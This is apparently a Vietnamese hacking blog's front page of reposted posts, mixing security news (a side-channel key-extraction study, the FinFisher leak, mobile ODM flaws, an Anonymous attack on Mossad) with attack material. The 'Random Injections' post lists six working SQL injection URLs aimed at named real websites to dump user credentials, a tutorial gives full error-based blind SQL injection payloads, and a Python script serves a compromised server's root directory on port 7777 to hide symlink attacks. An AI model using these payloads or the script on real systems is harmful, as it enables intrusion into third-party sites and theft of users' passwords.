Keyz Cenly Blog

Để trở thành Hacker

<div dir="ltr" style="text-align: left;" trbidi="on">
Bài viết này sẽ tách ra làm 4: Script Kiddy Level, Advanced Attacker Level, Developer Level, Researcher Level Nội dung bài viết phản ánh quan điểm của tác giả, và hoàn toàn rộng mở cho mọi người comment góp ý chỉnh sửa, comment góp ý nào được nhiều người Like nhất sẽ được cân nhắc bổ sung, thay thế vào bài viết ( kèm credits ). Bài viết cũng cố gắng sử dụng các ngôn từ mà các bạn trẻ hay dùng trong giới Hắc-cờ VN nên có thể các từ này không chính xác về mặt kỹ thuật, vui lòng không bắt bẻ Về bài viết này: Mức độ: cực kỳ căn bản Đối tượng: biết xài máy tính thông thạo Yêu cầu cần có sẵn: 
<blockquote class="tr_bq">
Biết bật máy tính Biết lướt web Biết search bằng Google Biết cài & gỡ chương trình. Hay tóm gọn lại là biết cài Win =)) Biết tiếng Anh mức độ Đọc rất tốt, viết người ta hiểu được, nghe nói thì tạm tạm nếu có thêm chân tay chỉ trỏ ( ếu biết đi chỗ khác chơi ) </blockquote>
 
Yêu cầu về tố chất: 
<blockquote class="tr_bq">
Đang có hy vọng trở thành hacker Chịu khó nghịch Chịu khó tìm hiểu Không lười Không hy vọng một đêm thành hacker :v ( các cháu hy vọng điều này thì các cháu đi coi phim đi cho thoả mãn ) —————————————————</blockquote>
 Script Kiddy là gì ? Là mức độ căn bản nhất của một người đang có hy vọng thành hacker. Những người này thường sử dụng máy tính ở mức thông thạo, tức là khá hơn người dùng bình thường ( đến dùng còn ếu thạo thì đừng mong hắc hiếc gì ), thường hay đi hỗ trợ các chị em sửa máy khi được nhờ giúp giải quyết một cái máy có vấn đề. Ngoài các lúc đi hỗ trợ gái ( hoặc trai :v ) sửa máy thì thời gian còn lại là lên mạng đọc Tut, và làm theo với hy vọng sớm thành hacker, làm theo các tut trong tình trạng là ếu hiểu mền đang làm gì và lý do tại sao phải làm bước A B C, và đa phần là cũng ếu tự thắc mắc luôn, các em mà không biết tự thắc mắc kiểu "tại sao phải làm bước A B C mà không phải làm các bước X Y Z” thì coi như không có tố chất lên các level tiếp theo, mãi mãi chỉ có đi sửa máy cho gái ( hoặc trai :v ) và làm theo Tut để loè gái. Còn các em tự biết hỏi “tại sao…” , “tại sao …” và biết lên mạng search và tìm hiểu thì có cơ hội lên các level tiếp theo mà gần nhất là Attacker :) Script Kiddy cần có kiến thức gì? Dưới đây là một danh sách các kiến thức mà Script Kiddy cần có để được coi là đạt mức độ này và có tiềm năng lên các level cao hơn Script Kiddy Level Basic: - Biết xài Windows - Biết cài/gỡ chương trình trên Windows - Biết dùng các công cụ quản lý HDH Windows - Biết cài HDH Windows - Biết xử lý các sự cố trong quá trình sử dụng HDH Windows - Biết xài bộ Office ở mức độ thông thạo, tức là làm được cái văn bản đẹp, slide powerpoint ngon, thuộc làu và dùng tốt hầu hết các công thức Excel. Bèo bèo thì cũng phải có được cái bằng A & B Tin học của VN cấp :v ( ý là kiến thức phải đạt cỡ đó ) - Biết hầu hết các trò chỉnh sửa, tối ưu windows như chỉnh msconfig, chỉnh registry, chỉnh startup, chỉnh boot option… - Biết xài Windows Command Line ( cmd.exe ) - Biết xài file Batch ( .Bat ) - Biết máy hư phần cứng thì phải thay cái gì. Nói chung máy hư thì ít khi phải mang ra tiệm nhờ sửa máy :v - Biết mấy trò nghịch phá trên máy Windows như lock registry, lock task manager, lock desktop wallpaper Script Kiddy Level Medium: - Biết cấu hình modem ADSL để vô mạng - Biết setup cho một máy đơn có thể vô mạng internet - Biết lập mạng Lan, mạng Wifi - Biết lắp ráp nguyên một cái máy tính để bàn từ các thành phần rời ( hề hề vụ này giờ chắc ít người biết :v ). Hoặc là biết cách tháo cái Laptop ra và gắn lại mà vẫn chạy ngon :v - Biết quản lý share windows share file - Biết quản trị mạng căn bản & nâng cao ( đi học mấy khoá Quản trị mạng của mấy trung tâm tin học cũng được ) Script Kiddy Level Advanced: - Biết lập trình căn bản bằng một ( hoặc nhiều ) ngôn ngữ trong nhóm sau: Java, C/C++, Visual Basic, C#. Căn bản tức là viết được một chương trình cho Desktop PC làm công việc như là quản lý một kho sách, quản lý một quán cafe. Cao hơn làm một chương trình Chat giữa 2 máy tính thông qua mạng LAN. Kiểu kiểu như vậy. Thường Script Kiddy nào lập trình được mấy món kể trên thì bắt đầu thấy sáng mắt ra và tự nhìn thấy tương lai rõ ràng hơn :) - Biết lập trình Web căn bản bằng các ngôn ngữ sau: PHP, Javascript, HTML, CSS, SQL. Căn bản là tự lập trình được một trang web bán hàng đơn giản ( tự lập trình chớ không phải là tải mấy cái source có sẵn rồi về cài lên, việc cài thì đám Script Kiddy Level Medium dư sức làm ). Nâng cao thì có thể biết thêm các thứ như Bootstrap, HTML5, jQuery, biết một Web Framework như Zend, Symphony… . Cao hơn nữa thì biết chỉnh sửa các web mã nguồn mở như Joomla, Wordpress - Biết xài một số ngôn ngữ lập trình tiện ích như: Autoit, Python, Perl, Unix Bash Shell - Biết xài Linux. Biết xài ở đây nghĩa là “xài linux dễ dàng và tự nhiên như xài windows”, có thể coi lại phần Script Kiddy Level Basic chỗ nói về Windows - Biết đọc & hiểu các Tut hướng dẫn Hack bằng tiếng Việt lẫn tiếng Anh, và hầu hết là làm theo thành công ( đôi lúc không thành công thì cũng không sao :v ). Còn nếu hầu hết mà làm theo không thành công, thì rất tiếc, tới level này mà làm theo Tut có sẵn mà đa phần không thành công thì chứng tỏ không có tố chất để thành Hắc-cờ, một số điều cần phải có tố chất bẩm sinh, nên đừng buồn, tới level này thì cũng có thể thấy tương tai kiếm ăn với ngành CNTT được rồi  
 - Hiểu các Tut nói gì, khi làm theo mà gặp khó khăn, biết phải search cái gì để giải quyết khó khăn đó, và làm theo Tut thành công - Tự mày mò thử nghiệm hack cái gì đó thành công, và tự viết Tut hướng dẫn lại cho người khác cách hack - Có một lượng fan nho nhỏ :v và giúp định hướng được cho một số người đạt được các thành công nho nhỏ như mình và đạt được Script Kiddy Level Advanced như mình. Những nguời tới được mức này thì coi như đã đủ tố chất và tiềm năng để lên Advanced Attacker Level. Những người này cũng thường nhìn thấy được con đường có thể kiếm ăn bằng nghề làm việc với công nghệ ( đa phần là cũng kiếm ăn được chút chút rồi ). 
 
<div style="text-align: right;">
Theo xnohat - HVA </div>
</div>

Để trở thành Hacker

Bài viết này sẽ tách ra làm 4: Script Kiddy Level, Advanced Attacker Level, Developer Level, Researcher Level Nội dung bài viết phản ánh ...

[TUT] SQL dạng HTML

Link Download http://www.mediafire.com/?6hh2ykae8xpuq2q Hoặc https://www.box.com/s/3m0xluf10xdhcdw95qzu

Bug LFI + FCKeditor

Random Injections

<div dir="ltr" style="text-align: left;" trbidi="on">
1 Mã: <blockquote class="tr_bq">
http://www.elansystems.co.za/product-item.php?product_items_id=-11 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,group_concat(username, 0x3b,password),5,6,7,8,9,10 from users_tbl--</blockquote>
 2/ Mã: <blockquote class="tr_bq">
http://www.nbjm-sprayer.com/products.php?id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(username,0x3b,password),18,1 9,20,21,22,23 from user_table--</blockquote>
 3/ Mã: <blockquote class="tr_bq">
http://www.mcdonaldlawoffice.net/story.php?articleid=-8 UNION SELECT 1,2,group_concat(name,0x3b,password),4,5,6,7,8,9,10,11,12,13,14,15,16 from users--</blockquote>
 4/ Mã: <blockquote class="tr_bq">
http://localtime.biz/product.php?cat_id=-1 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(email,0x3b, pwd,0x3c,0x62,0x72,0x3e),4 from users--</blockquote>
 5/ Mã: <blockquote class="tr_bq">
http://www.eltee.de/kolumnen_id.php?id=-30175 UNION SELECT 1,2,3,4,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),6,7,8--</blockquote>
 6/ Mã: <blockquote class="tr_bq">
http://www.media4world.de/mini_d/list_art.php?shop=-5 UNION SELECT group_concat(username,0x3b,kwort,0x3b,admin,0x3c,0x62,0x72,0x3e) from user--</blockquote>
</div>

Random Injections

1 Mã: http://www.elansystems.co.za/product-item.php?product_items_id=-11 UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version...

Đánh cắp mã máy tính chỉ với một cái chạm tay

<div dir="ltr" style="text-align: left;" trbidi="on">
 <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5QE36a2fyNjeGbrabe2tV1l1ITxfTOAZMiZXD1G7xjoEuI-uuVSjUXUy9llP0fsY5v_ObSzUYrNzoN77IraeHlBo0PMqoky_or9hLHF2aBehXfFmPRKTWPgjwSDesqLvYTTZRPdILdqEe/s1600/PC-700x347.png"><img border="0" height="317" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5QE36a2fyNjeGbrabe2tV1l1ITxfTOAZMiZXD1G7xjoEuI-uuVSjUXUy9llP0fsY5v_ObSzUYrNzoN77IraeHlBo0PMqoky_or9hLHF2aBehXfFmPRKTWPgjwSDesqLvYTTZRPdILdqEe/s1600/PC-700x347.png" width="640" /></a> Phim khoa học viễn tưởng đã trở thành một hình thức giải trí cho cộng đồng, nhưng những ý tưởng trong phim luôn là một vấn đề liên hệ với cuộc sống thực. Cũng giống như trong một bộ phim khoa học viễn tưởng, hiện người ta có thể chạm tay vào một chiếc máy tính xách tay để lấy thông tin các khóa mật mã trên máy tính. Đó là phương pháp mới mà một nhóm các chuyên gia bảo mật máy tính tại Đại học Tel Aviv (Israel) đã đưa ra. CÁCH TẤN CÔNG HỆ THỐNG MÃ HÓA Có nhiều cách tấn công hệ thống mã hóa khác nhau. Một mặt, lỗ hổng bảo mật và điểm yếu trong bản thân các thuật toán mã hóa giúp nó có thể tìm ra các khóa mật mã. Mặt khác, có những lỗ hổng và điểm yếu trong chính bản thân máy tính làm cho nó dễ dàng bị tấn công hơn. CHẠM VÀ ĐE DỌA BẤT CỨ MÁY TÍNH NÀO Theo Eran Tromer, Daniel Genkin và Itamar Pipman, các chuyên gia bảo mật máy tính tại Đại học Tel Aviv, sử dụng một thủ thuật đơn giản là đủ để tin tặc chuyên nghiệp đạt được quyền truy cập vào hàng ngàn các khóa mã hóa chỉ qua cái chạm vào khung của máy tính. Truy cập vào các khóa mã hóa có thể được sử dụng để tạo ra hàng trăm chữ ký số người dùng giả mạo khi tạo mật khẩu, ký kết hợp đồng, hoặc có lẽ quan trọng nhất là sử dụng cho thẻ ghi nợ tín dụng và trực tuyến. Để tấn công bất kỳ máy tính, tất cả điều bạn cần làm là đeo vào cổ tay một dây đeo kỹ thuật số đặc biệt và chạm vào phần tiếp xúc của hệ thống. Dây đeo cổ tay sẽ đo lường tất cả những thay đổi nhỏ trong những xung đột năng điện mặt đất mà có thể tiết lộ các khóa mã hóa, chẳng hạn như 4096-bit RSA. Thực tế, trong một số trường hợp, bạn thậm chí không cần phải chạm vào hệ thống trực tiếp với hai bàn tay trần của bạn. Bạn có thể đánh chặn các khóa mã hóa từ kết nối mạng đính kèm với cáp video. Một kẻ tấn công có thể đo tín hiệu bằng cách chạm vào kim loại tiếp xúc trên khung gầm của máy tính với một dây đơn giản, hoặc thậm chí với một bàn tay trần. Các tín hiệu cũng có thể được xác định bằng điểm kết thúc từ xa của Ethernet, VGA hoặc cáp USB. Các nhà nghiên cứu cũng lưu ý rằng cuộc tấn công này thực hiện tốt hơn trong thời tiết nóng, do sức đề kháng kém của các ngón tay ướt đẫm mồ hôi. Nhóm nghiên cứu sẽ trình bày nghiên cứu của họ trong một cuộc nói chuyện mang tên “Get Your Hands off my laptop: Physical Side-Channel Key-Extraction attacks on PCs” tại Hội thảo về mã hóa phần cứng và hệ thống nhúng 2014 (Ches 2014) tại Hàn Quốc ngày 23 tháng 9 tới. Nhóm nghiên cứu có thể lấy được khóa từ nhiều máy tính thử nghiệm chạy một phần mềm mã hóa mã nguồn mở phổ biến được gọi là GnuPG, thực hiện các tiêu chuẩn OpenPGP. Kết quả cuối cùng là: Sự phân biệt giữa các dấu hiệu phổ của khóa bí mật RSA khác nhau (ký kết hoặc giải mã) Trích xuất đầy đủ các phím giải mã, bằng cách đo khả năng khung gầm của máy tính xách tay trong quá trình giải mã một bản mã lựa chọn. Các nhà nghiên cứu cũng đã thực hiện thành công cuộc tấn công này bằng cách sử dụng một điện thoại thông minh kết nối Ethernet để che chắn thông qua cổng tai nghe của nó. Tuy nhiên, tin tốt là không có gì phải lo lắng về những người xa lạ có thể đánh cắp dữ liệu của bạn, bởi vì kỹ thuật này chủ yếu tập trung vào phần mềm mã hóa GnuPG. Hiện đã có một bản vá sẵn sàng để sửa chữa vấn đề, hạn chế những ảnh hưởng. <div style="text-align: right;">
Theo THN</div>
</div>

Đánh cắp mã máy tính chỉ với một cái chạm tay

Phim khoa học viễn tưởng đã trở thành một hình thức giải trí cho cộng đồng, nhưng những ý tưởng trong phim luôn là một vấn đề liên hệ với c...

Log file của cPanel

<div dir="ltr" style="text-align: left;" trbidi="on">
Các file log của cPanel được lưu tại thư mục /usr/local/cpanel/logs/, gồm có các file chính sau: access_log: log truy cập của cPanel và WHM. error_log: log các lỗi của cPanel và WHM. login_log: log các đăng nhập cPanel và WHM. Ngoài ra cPanel còn lưu log hệ thống tại thư mục /var/log/, gòm có bandwidth: log lưu lượng băng thông sử dụng của server. chkservd.log: log hệ thống theo dõi các dịch vụ trên server. clamav: log của hệ thống quét virus clamav. cpupdate: log tác vụ nâng cấp của cPanel. exim_mainlog: log gửi/nhận thư của hệ thống mail exim. exim_rejectlog: log các kết nối bị từ chối của exim. exim_paniclog: log các lỗi của exim. maillog: log các đăng nhập và kết nối gửi/nhận thư của các dịch vụ mail (pop3/imap). xferlog: log các kết nối qua FTP. Ngoài ra, log của các tài khoản được lưu trữ trong thư mục /usr/local/cpanel/domlogs/ và log của Apache được lưu tại /usr/local/apache/logs/</div>

Log file của cPanel

Các file log của cPanel được lưu tại thư mục /usr/local/cpanel/logs/, gồm có các file chính sau: access_log : log truy cập của cPanel và WH...

Sym root bypass open port nếu server cho chạy python

<div dir="ltr" style="text-align: left;" trbidi="on">
Đầu tiên mọi người có thể kiểm tra xem có gói python đc cài trên server chưa dùng lệnh python -h xem có trả về kết quả gì ko nè. <a href="http://www.blogger.com/null"></a> Nếu có chạy thì tạo đoạn code python sau lưu vào file capuchino.py <blockquote class="tr_bq">
#!/usr/bin/env python# Bypass for (c) 2013import SimpleHTTPServerimport SocketServerimport osport = 7777if __name__=='__main__':os.chdir('/')Handler = SimpleHTTPServer.SimpleHTTPRequestHandlerhttpd = SocketServer.TCPServer(("", port), Handler)print("Now open this server on webbrowser at port : " + str(port))print("example: http://maho.com:" + str(port))httpd.serve_forever()</blockquote>
 Sau đó chạy nó python capuchino.py rồi kiểm tra kết quả :victim:7777 Cách này có thể giấu đc kết quả thực hiện sym trên server</div>

Sym root bypass open port nếu server cho chạy python

Đầu tiên mọi người có thể kiểm tra xem có gói python đc cài trên server chưa dùng lệnh python -h xem có trả về kết quả gì ko nè. Nếu có chạ...

[TUT] Khai thác lỗi SQL Injection dạng error-based quick blind

<div dir="ltr" style="text-align: left;" trbidi="on">
Ví dụ victim có dạng: http://target.com/page.php?id = 1 Lệnh get version, database http://target.com/page.php?id = 1 [color=#ffffffff]And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)[/color] Tương tự vậy, lệnh get table: And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a) Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….) And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),63,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a) Tiếp theo, lấy column của một table nào đó And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0xso_hex_cua_tablename) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a) Tăng số 1 theo nguyên tắc như trên. Và cuối cùng là dữ liệu: And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a) CEH</div>

[TUT] Khai thác lỗi SQL Injection dạng error-based quick blind

Ví dụ victim có dạng: http://target.com/page.php?id = 1 Lệnh get version, database http://target.com/page.php?id = 1 [color=#ffffffff]And (...

Vì sao tội phạm mạng ngày càng nguy hiểm

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSZ06B3NaG8l0js_bO-2DzoZ1v3YL6KWmcbisjah5Pf8hs1ecMLQpg2S93cyTuKauJtasKr-YD5EEPi4kIb6keRnkiIo3NVdt8D_Tb85LBssncF9hMZwrke1Zka2nQPn5hpj0WkzICDDfY/s1600/hacker-trung-quoc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="482" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSZ06B3NaG8l0js_bO-2DzoZ1v3YL6KWmcbisjah5Pf8hs1ecMLQpg2S93cyTuKauJtasKr-YD5EEPi4kIb6keRnkiIo3NVdt8D_Tb85LBssncF9hMZwrke1Zka2nQPn5hpj0WkzICDDfY/s1600/hacker-trung-quoc.jpg" width="640" /></a></div>
 Dù người dùng Internet ngày càng thông minh, các công cụ bảo vệ ngày càng tốt hơn, nhưng tội phạm mạng đang trở nên nguy hiểm hơn bao giờ hết. Cuộc chiến chống tội phạm Internet ngày nay đã thay đổi rất nhiều so với những ngày đầu của hàng chục năm về trước. Hiện tại, lượng phần mềm độc hại đã lên đến con số hàng trăm, hàng triệu ứng dụng. Không chỉ vậy, thế giới còn có đến hàng ngàn tổ chức tin tặc chuyên nghiệp. Và theo ước tính, người dùng Internet mất hàng trăm triệu USD mỗi năm. Vậy, đâu là lý do chính dẫn đến việc bành trướng và ngày càng trở nên nguy hiểm của tội phạm mạng ngày nay? Trước hết, phải nói đến việc tội phạm mạng hầu như rất ít khi bị truy cứu hay bắt giữ. Thế giới Internet ngày nay cũng chẳng mấy khác biệt với đời thường, cũng tồn tại đầy rẫy những kẻ xấu song song với người tốt. Những tội phạm mạng không phạm sai lầm hay thực hiện những việc làm xấu xa một cách trắng trợn có thể chẳng bao giờ bị “sờ gáy”. Quan niệm sai lầm lớn nhất hiện nay chính là các hacker đều là những người rất thông minh. Thực tế cho thấy, tội phạm mạng đa phần đều là những người thiếu đạo đức và có khi chẳng thể nào lập trình một ứng dụng đơn giản. Chúng đơn giản chỉ cả gan mua các phần mềm độc hại từ những người lập trình thông minh khác nhằm thực hiện mưu đồ xấu trên Internet của mình. Chính từ nhận thức sai lầm này mà tội phạm mạng ngày càng gia tăng, vì có thể làm giàu mà chẳng lo nguy cơ bị bắt. Không chỉ vậy, hầu hết các hoạt động của tội phạm mạng đều diễn ra bên ngoài biên giới quốc tế. Trong khi các cơ quan thực thi pháp luật vẫn luôn có một ranh giới pháp lý nhất định, nhưng suy cho cùng, họ vẫn bị hạn chế bởi ranh giới quốc tế giữa các nước với nhau. Nếu muốn bắt giữ một tội phạm với bằng chứng pháp lý rõ ràng về hành động phạm tội tại nước ngoài, cơ quan chức năng trước hết phải gửi yêu cầu đến chính quyền sở tại. Tuy nhiên, những yêu cầu này vẫn có thể bị chính quốc gia đó bác bỏ. Cũng có trường hợp kết hợp các cơ quan thực thi pháp luật giữa 2 quốc gia khác nhau, song trường hợp này rất hiếm. Và một sự thật thế giới tội phạm mạng biết rõ là, chính quyền các quốc gia lớn như Mỹ, Nga và Trung Quốc sẽ chẳng bao giờ ngồi lại hợp tác với nhau. Bên cạnh những hạn chế kể trên, một trở ngại lớn đối với cơ quan thực thi chức năng đáng phải kể đến nữa chính là sự thiếu hụt chứng cứ. Trong hầu hết các hệ thống máy tính và mạng, rất ít những bằng chứng được tìm thấy đủ để thành lập một phiên tòa. Dù vậy, ngay cả khi những bằng chứng phạm tội được thu thập, chúng vẫn có thể không được chấp nhận bởi các luật sư. Hiện tại, rất ít tổ chức có chuyên môn trong việc tìm kiếm thu thập bằng chứng phạm tội trên môi trường Internet. Ngoài ra, nguồn lực giúp theo đuổi những tên tội phạm Internet ngày nay vẫn còn rất hạn chế. Và số lượng tội phạm mạng làm tổn thương nền kinh tế vẫn chưa đáng để các cơ quan chức năng nâng mức báo động lên cấp toàn cầu. Thực tế là tội phạm mạng có thể gây mất mát hàng trăm triệu hay thậm chí cả tỷ USD mỗi năm, nhưng những hành vi phạm pháp, gây thiệt hại như vậy đã có từ lâu, trước khi có Internet. Vậy, có chăng giải pháp kìm hãm sự bành trướng và nguy hiểm của tội phạm mạng ngày nay? Câu trả lời là có. Chúng ta có đầy đủ các phương tiện, công nghệ để làm điều này trong suốt một thời gian dài mà không cần phải chờ đợi một công nghệ mới, tốt hơn. Mọi thứ đều có sẵn, ngoại trừ sự đồng thuận toàn cầu. Thiết nghĩ, nếu không sớm loại bỏ những nhận thức đầy tính thụ động về tội phạm mạng thế giới sẽ phải đối mặt với một thảm họa Internet lớn trong tương lai. Theo PCWorld</div>

Vì sao tội phạm mạng ngày càng nguy hiểm

Dù người dùng Internet ngày càng thông minh, các công cụ bảo vệ ngày càng tốt hơn, nhưng tội phạm mạng đang trở nên nguy hiểm hơn bao giờ...

Black Hat: Gần 2 tỉ thiết bị di động trên thế giới tồn tại lỗ hổng bảo mật

<div dir="ltr" style="text-align: left;" trbidi="on">
 Một hệ thống điều khiển từ xa đã được cài đặt lên hầu hết smartphone mà hacker có thể tận dụng để chiếm quyền điều khiển trên rất nhiều thiết bị, cho phép chúng đánh cắp hoặc nghe lén dữ liệu, các cuộc gọi của người sử dụng mà họ không hề hay biết. Mathew Solnik, một nhà nghiên cứu thuộc Accuvant đại diện nhóm nghiên cứu đã trình bày tại hội thảo Black Hat vừa qua. <img src="https://blogger.googleusercontent.com/img/proxy/AVvXsEhfSKb-F0oYehb1LM6c0-0_Jac-b-d6MzDsSagFEvlHuN_9uNUXrSJsNu25xeQpPNRss8BTx2O-62hy8i5L6UC-mwvCe1PNNQrh122k-MoHawAFxme5wHioIOvt9rPKdY8ITGreXnLdGbNttW5HC-0r1EpCU-Ag4B6Y3C5U-aKAQptCpHsKBgOaAeQhnWP7epc=" /> Các nhà cung cấp dịch vụ mạng không dây (Wireless carriers) đã cài đặt cơ chế này (giao thức ODM) trên điện thoại, máy tính bảng và thậm chí trên ô tô như một cách để cập nhật phần mềm và thay đổi cài đặt các cài đặt của hệ thống. Các nhà nghiên cứu bảo mật tại công ty Accuvant đã hé lộ hàng loạt lỗ hổng mà có thể bị lợi dụng cho phép điều khiển thiết bị từ xa. Trong bài test của mình, Accuvant có thể chiếm quyền điều khiển thiết bị Apple và những hãng khác. Họ có thể cài đặt bất cứ phần mềm nào lên thiết bị và cho phép chúng đánh cắp dữ liệu nhạy cảm của người dùng. “Kẻ tấn công có toàn quyền điều khiển thiết bị” Mathew Solnik, một nhà nghiên cứu thuộc Accuvant đại diện nhóm nghiên cứu đã phát biểu tại hội thảo Black Hat vừa qua. Cuộc tấn công cũng có thể được dùng để cài đặt lại thiết bị. Ví dụ, nó sẽ chuyển hướng toàn bộ dữ liệu đến một máy chủ độc hại nhằm thu thập các thông tin kết nối của hệ thống. Rất nhiều cài đặt đã được thiết kế sẵn trong “baseband” của máy và không thể thêm bớt cũng như xóa chúng. “Nếu bạn khôi phục cài đặt gốc cũng chẳng thể loại bỏ được chúng” – Solnik phát biểu. Ước tính gần 2 tỉ thiết bị di động trên thế giới đang sử dụng giao thức ODM này để kết nối với nhà sản xuất. Một số nơi 70% đến 90% những thiết bị này được trang bị các phần mềm được thiết kế với các chức năng điều khiển từ xa – theo nghiên cứu từ trường đại học Massachusetts. Mặc dù đây là một vấn đề quan trọng, nhưng chúng vẫn chưa được cập nhật kể từ năm 2004. Các nhà nghiên cứu đã thực hiện một cuộc tấn công sử dụng lỗ hổng tìm thấy trong phần mềm, cũng như trong phần thiết kể giao thức ODM của các nhà sản xuất để chiếm quyền kiểm soát hệ thống. Các thiết bị Android được xem lại dễ bị ảnh hưởng nhất. Các nhà nghiên cứu chỉ có thể chiếm quyền điều khiển thiết bị Apple trong mạng Sprint. Những thiết bị unlocked được mua trực tiếp từ nhà sản xuất là bảo mật nhất bởi vì hầu hết chúng không được cài đặt các phần mềm theo giao thức ODM. Solnik cho rằng các cuộc tấn công thông qua giao thức ODM sẽ vẫn tồn tại ngay cả khi có những bản vá lỗi được đưa ra. Lỗ hổng tìm thấy trong giao thức kết nối phần mềm gốc trên thiết bị không thể sửa được cho đến khi ngành công nghiệp này đồng ý thiết kế lại một mẫu thiết kế mới. Vấn đề này cũng có thể liên quan đến các cơ quan tình báo, các cơ quan thực thi pháp luật khi mà việc sử dụng malware để thu thập dữ liệu đang rất phổ biến hiện nay, rất có thể nó đã được khai thác từ rất lâu mà chúng ta không biết. Khi mà việc sử dụng các phần mềm này có thể can thiệp vào tin nhắn, cuộc gọi và dữ liệu gửi bởi điện thoại khác. Đây có thể là công nghệ được dùng làm nền tảng cho nhiều cuộc tấn công khác, như việc bí mật cài đặt các phần mềm độc hại khác lên các điện thoại khác.</div>

Black Hat: Gần 2 tỉ thiết bị di động trên thế giới tồn tại lỗ hổng bảo mật

Một hệ thống điều khiển từ xa đã được cài đặt lên hầu hết smartphone mà hacker có thể tận dụng để chiếm quyền điều khiển trên rất nhiều thi...

Phần mềm gián điệp FinFisher bị rò rỉ 40GB dữ liệu

<div dir="ltr" style="text-align: left;" trbidi="on">
 FinFisher – Một phần mềm gián điệp được các cơ quan chính phủ và pháp luật sử dụng nhằm mục đích giám sát đã bị tấn công và rò rỉ một chuỗi các tập tin, tại liệu về dự án FinFisher trên Internet. Phần mềm giám sát bí mật này là FinFisher được bán bởi công ty Anh Gamma International có thể bí mật theo dõi các máy tính như theo dõi webcam, ghi lại tất cả hoạt độngcủa người dùng với một keylogger, ngăn chặn các cuộc gọi Skype, sao chép tập tin và nhiều tính năng khác nữa. Một hacker đã tuyên bố trên Reddit và Twitter rằng hắn đã thâm nhập vào mạng lưới của một trong những công ty giám sát và công nghệ trên thế giới là Gamma International– tác giả của phần mềm gián điệp FinFisher và hơn 40GB dữ liệu nội bộ và chi tiết các hoạt động, hiệu quả của bộ công cụ FinFisher đã bị rò rỉ ra ngoài. Những thông tin bị rò rỉ được công khai trên cả một tài khoản parody Gamma Group Twitter (GammaGroupPR) và Reditt của các hacker. Chúng bắt đầu công khai những liên kết đến các tài liệu và các tweets châm biếm. Các tập tin bị rò rỉ bao gồm các danh sách khách hàng, danh sách giá cả, mã nguồn của web Finfly, chi tiết về hiệu quả của Finfisher, người sử dụng và hỗ trợ tài liệu, danh sách các lớp/ hướng dẫn, và nhiều thông tin quan trọng hơn nữa.Các tập tin FinFisher đầu tiên đã bị rò rỉ trên Dropbox như một tập tin torrent và khi được chia sẻ trên internet, không thể ngăn chặn các thông tin đó. FinFisher bị phát hiện trên bởi Skype sử dụng trên OS X, vì vậy người sử dụng Skype trên OS X sẽ được cảnh báo về sự hiện diện của phần mềm gián điệp FinFisher này bằng một thông báo rằng một mô-đun ghi âm đã được cài đặt. <img src="https://blogger.googleusercontent.com/img/proxy/AVvXsEgX4VTDURiTLE7jKkLC6W_O2yuk6npB3BxzuJHFQ2KoA1b2TVwTqcbGCGE5poV2PP_cscIGaWRiQq-kmZsUhjpRbd3dkFZNZ3vYBC90ysjrvkXOeZHKN6chE6t7SykrxM4jr9VoxKXrlva0AelvVXTMZoR5ON9LTaJxGZi0E5aWcUP6=" /> FinFisher không thể khai thác người dùng Windows 8, vì vậy người dùng nên lựa chọn phiên bản Metro của Skype. Theo THN</div>

Phần mềm gián điệp FinFisher bị rò rỉ 40GB dữ liệu

FinFisher – Một phần mềm gián điệp được các cơ quan chính phủ và pháp luật sử dụng nhằm mục đích giám sát đã bị tấn công và rò rỉ một chuỗi...

Nhóm hacker Anonymous đánh sập trang web của Cơ quan tình báo Israel

<div dir="ltr" style="text-align: left;" trbidi="on">
 
<div dir="ltr" style="text-align: left;" trbidi="on">
Nhóm hacker Anonymous thông báo đã đánh sập trang web chính thức của lực lượng tình báo Israel (Mossad) nhằm chống lại lực lượng quân đội nước này đã gây ra hàng trăm vụ thiệt mạng cho dân thường tại dải Gaza. Chính phủ Israel hiện chưa đưa ra bất kỳ bình luận nào về vụ tấn công này. 
